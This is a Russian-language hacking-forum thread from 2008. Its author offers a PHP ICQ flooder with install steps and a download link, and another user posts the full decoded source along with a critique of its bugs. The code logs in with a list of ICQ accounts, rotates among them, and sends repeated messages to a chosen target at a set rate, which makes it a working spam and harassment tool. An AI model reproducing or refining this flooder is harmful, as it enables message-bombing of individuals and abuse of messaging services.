PHP icq flooder [av1] VERSION 0.3

Discussion in 'Skype, IRC, ICQ, Jabber и другие IM' started by A_V, 14 Apr 2008.

  1. A_V

    A_V Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    106
    Likes Received:
    34
    Reputations:
    0
    Представляю вашему вниманию улучшенную моего версию флудера!
    Теперь вы можете указать : номер, сообщение, кол-во сообщений, КОЛ-ВО сообщений с одного номера, ИНТЕРВАЛ МЕЖДУ СООБЩЕНИЯМИ :)

    Как устанавливать:
    Разархивировали, кинули папку на сервер поставили права 777, в uins.txt кинули уины для флуда, запустили...
    ЗАЛИВАТЬ ВСЕ ФАЙЛЫ ИЗ АРХИВА, ПАПКУ ТОЖЕ!

    Вот собственно ссылочка, ТЕПЕРЬ ОРИГИНАЛ...

    http://slil.ru/25689479


    И ставьте плюсики, работал же ведь :)
    Кто хочет поддержать проект можете подкинуть мне девяток, хост, или денюшек :)
     
    #1 A_V, 14 Apr 2008
    Last edited: 15 Apr 2008
  2. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    Я конечно извиняюсь, но от того, что код зашифрован, нормальным он не становится:)

    Поэтому вот расшифровочка:

    PHP:
    //ICQ Flooder by av1 version 0.3
    // My icq 990 04 04 or 266 692 797
    //Код написан в апреле 2008 года
    // START ICQ FLOOD CODE [av1]

    //
    //
    //         A           V             V                  1111
    //        A A           V           V                  11111
    //       A   A           V         V                 1111111
    //      A     A           V       V                      111
    //     AAAAAAAAA           V     V                       111
    //    A         A           V   V                        111
    //   A           A           V V                         111
    //  A             A           V                    111111111111111
    //



    error_reporting(0);
    set_time_limit(0);
    ignore_user_abort(1);
    $logan = false;



    if(isset($_REQUEST["flooding"] ) == "go")
    {
    $uinz = file( 'uins.txt');
    $codepage = $_REQUEST["times"];
    $target = $_REQUEST["cel"];
    $message= $_REQUEST["msg"];
    $pzp= $_REQUEST["pzp"];
    $sleep= $_REQUEST["sleep"];
    $icq = new WebIcqLite();
    $line = -1;
    for($code=0; $code<$codepage; $code++)
    {
    if($code == 0 || $code % $pzp == 0)
    {
    $line++;
    if($line === count($file)) $line = 0;
    list( $uin, $pwd ) = explode(";", $uinz[$line]);
    if($code > 0) $icq->disconnect();
    $icq->connect($uin,$pwd);
    }
    $icq->send_message($target,$message);
    sleep($sleep);
    }
    }

    ?>
    <html><head><title>PHP ICQ Flooder by by [av1] icq 990 04 04 </title>
    <body bgcolor=#0D0D0D text=#FFFFFF link=#FFFF00 vlink=#FFFF80>
    <center><B><U><FONT SIZE=5 COLOR=RED>PHP ICQ Flooder by by [av1] icq 990 04 04 </FONT></U></B></center>
    <br><a href=index.php><B><U><COLOR=GREEN> Вернуться на главную страницу и зафлудить снова :) / Return to INDEX page and flood again :) </FONT></U></B></a><br><br><br>
    <form action=index.php?flooding=go method=post>
    ICQ Номер / Number:<br>
    <input type=text name=cel value=123456789><br>
    Кол-во сообщений с одного номера / How much messages send 1 number:<br>
    <input type=text name=pzp value=10><br>
    Время между сообщениями в секундах / Timeout in sec<br>
    <input type=text name=sleep value=300><br>
    Сообщение для флуда / Message for flood:<br>
    <input type=text name=msg value=msg><br>
    Сколько отсылать сообщений / How much message send :<br>
    <input type=text name=times value=50><br><br>
    <input type=submit name=Submit value=flooding><br><br><br><br>
    <center>Проверка подходит ли сервер:</center><br><br>

    <?
    //проверка включены ли сокеты

    $socket = @socket_create();

    if($socket = 1)
    {
    echo "<center><br /><font style='color: #800000;font-weight: bold'><b>Уря сервер поддерживает сокеты! </b></font></b><br />";
    }
    else
    {
    echo "<center><br /><font style='color: #FF0000;font-weight: bold'>Сокеты НЕПОДДЕРЖИВАЮТСЯ! Ищите другой хостинг!</font><br /></center>";
    }


    //проверка на бесконечное выполнение скрипта
    if(function_exists('set_time_limit'))
    {
    echo "<center><br /><font style='color: #800000;font-weight: bold'><b>Все ок, скрипт будет работать, если сервер держит сокеты ! </b></font></b><br /></center><br><br><br>";
    }
    else
    {
    echo "<center><br /><font style='color: #FF0000;font-weight: bold'>Бесконечное выполнение скрипта НЕПОДДЕРЖИВАЕТСЯ! Ищите другой хостинг!</font><br /></center><br><br><br>";
    }

    ?>


    <center>Если у вас есть желание помочь развитию проекта можете:</center><br>
    <center>Купить мне хостинг, подкинуть штук 100 девяток, или отправить немного денюшек на мой кошелек(узнавать в аське)</center><br>
    <center>&copy; [av1] icq 990 04 04 </center>
    </body>
    </html>

    <?
    // END FLOOD CODE[av1]


    //WebIcqLite code

    class WebIcqLite_TLV {
        var $type;
        var $size;
        var $error;

        var $types = array
        (
            'UIN'                 =>  1, // 0x01
            'DATA'                =>  2, // 0x02
            'CLIENT'            =>  3, // 0x03
            'ERROR_URL'            =>  4, // 0x04
            'RECONECT_HERE'        =>  5, // 0x05
            'COOKIE'            =>  6, // 0x06
            'SNAC_VERSION'        =>  7, // 0x07
            'ERROR_SUBCODE'        =>  8, // 0x08
            'DISCONECT_REASON'    =>  9, // 0x09
            'RECONECT_HOST'        => 10, // 0x0A
            'URL'                => 11, // 0x0B
            'DEBUG_DATA'        => 12, // 0x0C
            'SERVICE'            => 13, // 0x0D
            'CLIENT_COUNTRY'    => 14, // 0x0E
            'CLIENT_LNG'        => 15, // 0x0F
            'SCRIPT'            => 16, // 0x10
            'USER_EMAIL'        => 17, // 0x11
            'OLD_PASSWORD'        => 18, // 0x12
            'REG_STATUS'        => 19, // 0x13
            'DISTRIB_NUMBER'    => 20, // 0x14
            'PERSONAL_TEXT'        => 21, // 0x15
            'CLIENT_ID'            => 22, // 0x16
            'CLI_MAJOR_VER'     => 23, // 0x17
            'CLI_MINOR_VER'     => 24, // 0x18
            'CLI_LESSER_VER'     => 25, // 0x19
            'CLI_BUILD_NUMBER'    => 26, // 0x1A
    //        'PASSWORD'            => 37
        );

        function setTLV($type, $value, $length = false)
        {
            switch ($length)
            {
                case 1:
                    $format = 'c';
                    break;
                case 2:
                    $format = 'n';
                    break;
                case 4:
                    $format = 'N';
                    break;
                default:
                    $format = 'a*';
                    break;
            }
            if ($length === false)
            {
                $length = strlen($value);
            }
            return pack('nn'.$format, $this->types[$type], $length, $value);
        }

        function getTLV($data)
        {
            $arr = unpack('n2', substr($data, 0, 4));
            $this->type = $arr[1];
            $this->size = $arr[2];
            return substr($data, 4, $this->size);
        }

        function getTLVFragment($data)
        {
            $frg = unpack('cid/cversion/nsize', substr($data, 0, 4));
            $frg['data'] = substr($data, 4, $frg['size']);
            return $frg;
        }
    }

    Вторая часть:


    PHP:
    class WebIcqLite_SNAC extends WebIcqLite_TLV {

        var 
    $request_id 0;
        var 
    $uin;

        function 
    setSNAC0102()
        {
            
    $this->request_id++;
            
    $out pack('nnnN'120$this->request_id);
            
    $out .= pack('n*'13272650);
            
    $out .= pack('n*'21272650);
            
    $out .= pack('n*'31272650);
            
    $out .= pack('n*'211272650);
            
    $out .= pack('n*'41272650);
            
    $out .= pack('n*'61272650);
            
    $out .= pack('n*'91272650);
            
    $out .= pack('n*'101272650);

            return 
    $out;
        }

        function 
    setSNAC0406($uin$message)
        {
            
    $this->request_id++;
            
    $cookie microtime();
            
    $out pack('nnnNdnca*'460$this->request_id$cookie2strlen($uin), $uin);

            
    $capabilities pack('H*''094613494C7F11D18222444553540000'); // utf-8 support
            // '97B12751243C4334AD22D6ABF73F1492' rtf support

            
    $data pack('nd'0$cookie).$capabilities;
            
    $data .= pack('nnn'1021);
            
    $data .= pack('nn'150);
            
    $data .= pack('nnvvddnVn'10001strlen($message)+622780003$this->request_id);
            
    $data .= pack('nndnn'14$this->request_id000); //45
            
    $data .= pack('ncvnva*'1001, (strlen($message)+1), $message);
            
    $data .= pack('H*''0000000000FFFFFF00');
            
    $out .= $this->setTLV('RECONECT_HERE'$data);
            
    $out .= $this->setTLV('CLIENT''');
            return 
    $out;
        }

        function 
    setSNAC0406offline($uin$message)
        {
            
    $this->request_id++;
            
    $cookie microtime();
            
    $out pack('nnnNdnca*'460$this->request_id$cookie1strlen($uin), $uin);

            
    $data pack('ccnc'5111);
            
    $data .= pack('ccnnna*'11strlen($message)+430$message);
            
    $out .= $this->setTLV('DATA'$data);
            
    $out .= $this->setTLV('CLIENT''');
            
    $out .= $this->setTLV('COOKIE''');
            return 
    $out;
        }

        function 
    getSNAC0407($body)
        {
            if (
    strlen($body))
            {
                
    $msg unpack('nfamily/nsubtype/nflags/Nrequestid/N2msgid/nchannel/cnamesize'$body);
                if (
    $msg['family'] == && $msg['subtype'] == 7)
                {
                    
    $body substr($body21);
                    
    $from substr($body0$msg['namesize']);
                    
    $channel $msg['channel'];
                    
    $body substr($body$msg['namesize']);
                    
    $msg unpack('nwarnlevel/nTLVnumber'$body);
                    
    $body substr($body4);
                    for (
    $i 0$i <= $msg['TLVnumber']; $i++)
                    {
                        
    $part $this->getTLV($body);
                        
    $body substr($body$this->size);
                        if (
    $channel == && $this->type == 2)
                        {
                            while (
    strlen($part))
                            {
                                
    $frg $this->getTLVFragment($part);
                                if (
    $frg['id'] == && $frg['version'] == 1)
                                {
                                    return array(
    'from' => $from'message' => substr($frg['data'], 4));
                                }
                                
    $part substr($part4+$frg['size']);
                            }
                            return 
    false;
                        }
                    }
                }
            }
            return 
    false;
        }
        function 
    dump($str)
        {
            
    $f fopen('dump''a');
            
    fwrite($f$str);
            
    fclose($f);
        }

    }

    class 
    WebIcqLite_FLAP extends WebIcqLite_SNAC{

        var 
    $socet;
        var 
    $command 0x2A;
        var 
    $channel;
        var 
    $sequence;
        var 
    $body;
        var 
    $info = array();

        function 
    WebIcqLite_FLAP() {
            
    $this->sequence rand(130000);
        }

        function 
    getFLAP()
        {
            if(
    $this->socet && !socket_last_error($this->socet))
            {
                
    $header = @socket_read($this->socet6);
                if (
    $header)
                {
                    
    $header unpack('c2channel/n2size'$header);
                    
    $this->channel $header['channel2'];
                    
    $this->body socket_read($this->socet$header['size2']);
                    return 
    true;
                }
                else
                {
                    return 
    false;
                }
            }
        }

        function 
    parseCookieFLAP()
        {
            
    $this->getFLAP();
            
    $this->info = array();
            while(
    $this->body != '')
            {
                
    $info $this->getTLV($this->body);
                
    $key array_search($this->type$this->types);
                if(
    $key)
                {
                    
    $this->info[$key] = $info;
                }
                
    $this->body substr($this->body, ($this->size+4));
            }
        }

        function 
    parseAnswerFLAP()
        {
            
    $this->getFLAP();
            
    $array unpack('n3int/Nint'$this->body);
            while (
    $array['int'] != $this->request_id)
            {
                
    $this->getFLAP();
                
    $array unpack('n3int/Nint'$this->body);
            }

            
    $this->error 'Соединение прервано';
            if (
    $array['int1'] == 4)
            {
                switch (
    $array['int2'])
                {
                    case 
    1:
                            
    $this->error 'Ошибка в отправке сообщения';
                            return 
    false;
                        break;
                    case 
    0x0c:
                            return 
    true;
                        break;
                }
            }

            
    $this->error 'Соединение прервано';
            return 
    false;
        }

        function 
    prepare()
        {
            
    $this->sequence++;
            
    $out pack('ccnn'$this->command$this->channel$this->sequencestrlen($this->body)).$this->body;
            return 
    $out;
        }

        function 
    login($uin$password)
        {
            
    $this->getFLAP();
            
    $this->uin $uin;
            
    $this->body .= $this->setTLV('UIN',                 "$uin");
            
    $this->body .= $this->setTLV('DATA',                 $this->xorpass($password));
            
    $this->body .= $this->setTLV('CLIENT',                 'ICQBasic');
            
    $this->body .= $this->setTLV('CLIENT_ID',             2662);
            
    $this->body .= $this->setTLV('CLI_MAJOR_VER',         202);
            
    $this->body .= $this->setTLV('CLI_MINOR_VER',         342);
            
    $this->body .= $this->setTLV('CLI_LESSER_VER',         02);
            
    $this->body .= $this->setTLV('CLI_BUILD_NUMBER',     23212);
            
    $this->body .= $this->setTLV('DISTRIB_NUMBER',         10854);
            
    $this->body .= $this->setTLV('CLIENT_LNG',             'en');
            
    $this->body .= $this->setTLV('CLIENT_COUNTRY',         'us');


            
    $this->channel 1;
            
    $pack $this->prepare();
            
    socket_write($this->socet$packstrlen($pack));
            
    $this->parseCookieFLAP();

            
    $this->body 0x0000;
            
    $pack $this->prepare();
            @
    socket_write($this->socet$packstrlen($pack));
            
    $this->close();

            if(isset(
    $this->info['RECONECT_HERE']))
            {
                
    $url explode(':'$this->info['RECONECT_HERE']);
                if(!
    $this->open($url))
                {
                    
    $this->error = isset($this->info['DISCONECT_REASON']) ? $this->info['DISCONECT_REASON'] : 'Unable to reconnect';
                    return 
    false;
                }
            }
            else
            {
                
    $this->error = isset($this->info['DISCONECT_REASON']) ? $this->info['DISCONECT_REASON'] : 'UIN blocked, please try again 20 min later.';
                return 
    false;
            }

            
    $this->getFLAP();
            
    $this->body .= $this->setTLV('COOKIE'$this->info['COOKIE']);
            
    $pack $this->prepare();
            if (!
    socket_write($this->socet$packstrlen($pack)))
            {
                
    $this->error 'Соединение прервано';
                return 
    false;
            }
            
    $this->getFLAP();
            
    $this->body $this->setSNAC0102();
            
    $pack $this->prepare();
            if (!
    socket_write($this->socet$packstrlen($pack)))
            {
                
    $this->error 'Соединение прервано';
                return 
    false;
            }
            return 
    true;
        }

        function 
    write_message($uin$message)
        {
            
    $this->body $this->setSNAC0406($uin$message);
            
    $pack $this->prepare();
            if (!
    socket_write($this->socet$packstrlen($pack)))
            {
                
    $this->error 'Соединение прервано';
                return 
    false;
            }
            if (! 
    $this->parseAnswerFLAP()) {
                
    // try to send offline message

                
    $this->body $this->setSNAC0406offline($uin$message);
                
    $pack $this->prepare();
                if (!
    socket_write($this->socet$packstrlen($pack)))
                {
                    
    $this->error 'Can`t send offline message, server close connection';
                    return 
    false;
                }
                if (! 
    $this->parseAnswerFLAP())
                {
                    return 
    false;
                }
                else
                {
                    
    $this->error 'Client is offline. Message sent to server.';
                    return 
    false;
                }
            }

            return 
    true;
        }

        function 
    read_message()
        {
            while(
    $this->getFLAP())
            {
                
    $message $this->getSNAC0407($this->body);
                if(
    $message){
                    return 
    $message;
                }
            }
            return 
    false;
        }

        function 
    xorpass($pass)
        {
            
    $roast = array(0xF30x260x810xC40x390x860xDB0x920x710xA30xB90xE60x530x7A0x950x7c);
            
    $roasting_pass '';
            for (
    $i=0$i<strlen($pass); $i++)
            {
                
    $roasting_pass .= chr($roast[$i] ^ ord($pass{$i}));
            }
            return(
    $roasting_pass);
        }

        function 
    open($url = array('login.icq.com'5190))
        {
            
    $this->socet socket_create(AF_INETSOCK_STREAMSOL_TCP);
            if (
    $this->socet || $this->socet === false)
            {
                
    $this->error "socket_create() failed: reason: " socket_strerror($this->socet);
                return 
    false;
            }
            
    $result socket_connect($this->socetgethostbyname($url[0]), $url[1]);
            if (
    $result || $result === false)
            {
                
    $this->error "socket_connect() failed.\nReason: ($result) " socket_strerror(socket_last_error($socket));
                return 
    false;
            }
            return 
    true;
        }

        function 
    close()
        {
            return 
    socket_close($this->socet);
        }
    }

    class 
    WebIcqLite extends WebIcqLite_FLAP {

        function 
    WebIcqLite ()
        {
            
    $this->WebIcqLite_FLAP();
        }

        function 
    is_connected()
        {
            if(!
    $this->socet || socket_last_error($this->socet))
            {
                
    $this->error socket_strerror(socket_last_error($socket));
                return 
    false;
            }
            return 
    true;
        }

        function 
    connect($uin$pass)
        {
            if (!
    $this->open())
            {
                return 
    false;
            }

            return 
    $this->login($uin$pass);
        }

        function 
    disconnect()
        {
            return 
    $this->close();
        }

        function 
    get_message()
        {
            return 
    $this->read_message();
        }

        function 
    send_message($uin$message)
        {
            return 
    $this->write_message($uin$message);
        }
    }

    Так вот:
    1).

    PHP:
    $socket = @socket_create(); //зачем делать такую проверку? А закрыть сокет потом?

    if($socket 1//ЭТО ЧТО ТАКОЕ? Присваивание всегда успешно выполняется
    {
    echo 
    "<center><br /><font style='color: #800000;font-weight: bold'><b>Уря сервер поддерживает сокеты! </b></font></b><br />";
    }
    else
    {
    echo 
    "<center><br /><font style='color: #FF0000;font-weight: bold'>Сокеты НЕПОДДЕРЖИВАЮТСЯ! Ищите другой хостинг!</font><br /></center>";
    }

    PHP:
    //проверка на бесконечное выполнение скрипта
    if(function_exists('set_time_limit'))  //А это всегда true будет, эта функция всегда существует
    {
    echo 
    "<center><br /><font style='color: #800000;font-weight: bold'><b>Все ок, скрипт будет работать, если сервер держит сокеты ! </b></font></b><br /></center><br><br><br>";
    }
    else
    {
    echo 
    "<center><br /><font style='color: #FF0000;font-weight: bold'>Бесконечное выполнение скрипта НЕПОДДЕРЖИВАЕТСЯ! Ищите другой хостинг!</font><br /></center><br><br><br>";
    }

    И я уже не говорю об ignore_user_abort(1) и отсутствия проверок isset при получении данных с формы. А проверка правильности вводимых данных вообще отсутствует. Ну и наконец, имя index.php сменить на другое нельзя, т.к. жёстко на него ссылки прописаны и action у формы... Логику скрипта не смотрел, а это так, что сходу увидел:)
     
  3. A_V

    A_V Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    106
    Likes Received:
    34
    Reputations:
    0
    Вот собственно ссылочка, ТЕПЕРЬ ОРИГИНАЛ...

    http://slil.ru/25689479


    А теперь вопервых КТО ПРОСИЛ РАСШИФРОВЫВАТЬ ?
    Я конечно понимаю, что это минутное дело, но неужели так трудно расшифровать только для себя? Или обязательно надо почувствовать себя героем....


    ВО первых я пишу скрипт для себя и для людей понимающих, что 3-х значную аську флудить нет смысЛа!
    (Это по поводу проверки ввода...)

    Во вторых если вас неустраивает привязка к Index.php, возьмите и напишите свой! А в чем здесь проблема я не понимаю...

    В третих Проверка работает, да есть недочеты... буду исправлять, но это не главное :) Главное , что скрипт работает!


    p.s.
    Админы чо с форумом отправил сообщение, у меня показывает, что пришло пустое...
     
    #3 A_V, 15 Apr 2008
    Last edited: 15 Apr 2008